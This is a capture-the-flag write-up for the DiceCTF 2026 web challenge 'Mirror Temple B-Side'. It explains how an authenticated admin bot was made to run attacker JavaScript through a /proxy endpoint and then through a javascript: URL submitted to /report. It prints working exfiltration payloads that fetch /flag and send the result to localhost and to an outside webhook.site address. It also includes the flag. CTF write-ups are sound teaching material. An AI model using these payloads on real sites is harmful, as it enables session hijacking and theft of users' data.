Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
DiceCTF2026Quals/Mirror-Temple-B-Side.en.md READ_ONLY

Mirror Temple B-Side

Challenge Data

Field Value
CTF DiceCTF 2026 Quals
Challenge Mirror Temple B-Side
Category Web
Flag dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}

Challenge Description

The base of the challenge was practically the same as Mirror Temple. There was an authenticated bot, a /report endpoint that accepted URLs, and an application with /flag accessible inside the bot's session.

The difference was that the useful chain did not end up being the same as in the original challenge.


Reconnaissance

The first thing was to test the most direct variant locally: serve our own HTML and pass it through /proxy.

<!doctype html>
<html>
<body>
<script>
fetch("/flag")
  .then(response => response.text())
  .then(flag => {
    location = "http://localhost:9000/leak?flag=" + encodeURIComponent(flag);
  });
</script>
</body>
</html>

The test URL was this.

http://localhost:8080/proxy?url=http://localhost:9000/payload.html

In that setup, the page behaved as if it were part of the challenge itself and the browser ended up navigating to this URL.

http://localhost:9000/leak?flag=dice%7Btestflag%7D

That confirmed JavaScript was executing inside the authenticated origin of the challenge.


Analysis

What I observed locally was that /proxy returned attacker-controlled HTML without the restrictions I expected after looking at the rest of the application's headers. In theory there was CSP and some filters, but in practice I could execute arbitrary JavaScript if I got the bot to load that content inside the challenge origin.

The local chain was this.

  1. /report makes the bot open an attacker-controlled URL.
  2. /proxy fetches remote HTML and serves it from the challenge origin.
  3. The inline payload calls fetch("/flag").
  4. The result is exfiltrated with a redirect to my own server.

Up to that point it was almost the same idea as the main challenge.

Remotely, abusing /proxy with external destinations returned 400. However, URLs with the javascript scheme did execute correctly when they were sent to /report.

That changed the approach, because /proxy was no longer needed. The bot executed the payload directly inside its authenticated page on localhost port 8080.


Solution

For remote, a URL with the javascript scheme was used.

javascript:fetch("/flag").then(r=>r.text()).then(flag=>location="https://webhook.site/6cebedef-1325-41bf-ad56-a67edfb1b78a?flag="+encodeURIComponent(flag))

The reason it worked was direct.

  1. The bot was already authenticated.
  2. The payload ran in the context of localhost port 8080.
  3. fetch("/flag") returned the real flag.
  4. location = ... sent it to the webhook.

Remotely, the useful vector was not /proxy, but the URL with the javascript scheme.


Flag

dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}